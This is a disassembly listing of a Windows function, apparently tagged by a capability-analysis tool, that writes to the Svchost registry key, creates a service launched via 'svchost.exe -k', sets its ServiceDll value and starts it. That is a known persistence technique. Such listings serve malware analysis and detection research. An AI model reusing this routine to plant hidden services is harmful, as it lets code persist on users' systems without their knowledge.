Function at 0x414240
Capabilities:
Create service
Get common file path
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5cc21c
mov eax, dword fs:[0]
push eax
sub esp, 0x294
mov eax, dword [0x667d00]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
mov ecx, edx
mov edi, dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x274], eax
mov eax, dword [ebp + 0x18]
lea ebx, [ecx + 2]
mov dword [ebp - 0x278], eax
xor eax, eax
mov dword [ebp - 0x26c], edi
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4142b1
sub ecx, ebx
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x230]
call fcn.004032c0
lea eax, [ebp - 0x264]
mov dword [ebp - 4], 0
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x264], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x414374
mov edx, edi
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x414302
sub edx, ecx
lea ecx, [ebp - 0x230]
sar edx, 1
cmp dword [ebp - 0x21c], 8
cmovae ecx, dword [ebp - 0x230]
lea eax, [edx*2 + 2]
push eax
push edi
push 7
push 0
push ecx
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x414374
push dword [ebp - 0x264]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x270], eax
test eax, eax
jne 0x4143b9
push 0x7a
call fcn.0043f58a
add esp, 4
xor esi, esi
mov edx, dword [ebp - 0x21c]
cmp edx, 8
jb 0x414629
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41461f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414649
jmp 0x41461f
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.005a26c0
add esp, 0xc
lea ecx, [ebp - 0x248]
push 0x6568d8
call fcn.004030c0
lea ecx, [ebp - 0x2a0]
mov byte [ebp - 4], 1
call fcn.00453a07
lea ecx, [ebp - 0x2a0]
mov byte [ebp - 4], 2
call fcn.00453a3b
test eax, eax
lea eax, [ebp - 0x218]
push 0x104
push eax
je 0x414415
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
jmp 0x41441b
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x414424
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x248]
call fcn.004032c0
push 0x10
push str._svchost.exe__k
lea ecx, [ebp - 0x248]
call fcn.00405ab0
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
push dword [ebp - 0x220]
cmovae eax, dword [ebp - 0x230]
lea ecx, [ebp - 0x248]
push eax
call fcn.00405ab0
cmp dword [ebp - 0x234], 8
lea eax, [ebp - 0x248]
push 0
cmovae eax, dword [ebp - 0x248]
push 0
push 0
push 0
push 0
push eax
push 1
push 2
push 0x20
push 0xf01ff
push dword [ebp - 0x274]
push edi
push dword [ebp - 0x270]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov edi, eax
test edi, edi
jne 0x4144d2
push 0x7b
call fcn.0043f58a
add esp, 4
xor esi, esi
jmp 0x414604
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x27c], eax
lea eax, [ebp - 0x27c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push str.SYSTEMCurrentControlSetServices_
lea ecx, [ebp - 0x260]
call fcn.004030c0
mov edx, dword [ebp - 0x26c]
mov ecx, edx
mov byte [ebp - 4], 3
lea eax, [ecx + 2]
mov dword [ebp - 0x26c], eax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x414513
sub ecx, dword [ebp - 0x26c]
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x260]
call fcn.00405ab0
cmp dword [ebp - 0x24c], 8
lea ecx, [ebp - 0x264]
push ecx
push 0xf003f
lea eax, [ebp - 0x260]
cmovae eax, dword [ebp - 0x260]
push 0
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4145f7
mov dword [ebp - 0x268], eax
lea eax, [ebp - 0x268]
push eax
push str.Parameters
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4145f7
cmp dword [esi + 0x14], 8
mov eax, dword [esi + 0x10]
jb 0x414596
mov esi, dword [esi]
lea eax, [eax*2 + 2]
push eax
push esi
push 2
push 0
push str.ServiceDll
push dword [ebp - 0x268]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4145f7
push eax
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x4145cf
push 0x7c
call fcn.0043f58a
add esp, 4
push dword [ebp - 0x264]
call ebx
push dword [ebp - 0x268]
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
push dword [ebp - 0x270]
call esi
mov esi, 1
jmp 0x4145f9
xor esi, esi
lea ecx, [ebp - 0x260]
call fcn.00403060
lea ecx, [ebp - 0x2a0]
call fcn.00453a1a
lea ecx, [ebp - 0x248]
call fcn.00403060
jmp 0x414376
push edx
push ecx
call fcn.0059ce4e
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0059d38a
mov esp, ebp
pop ebp
ret 0x14
call fcn.005a5c79
int3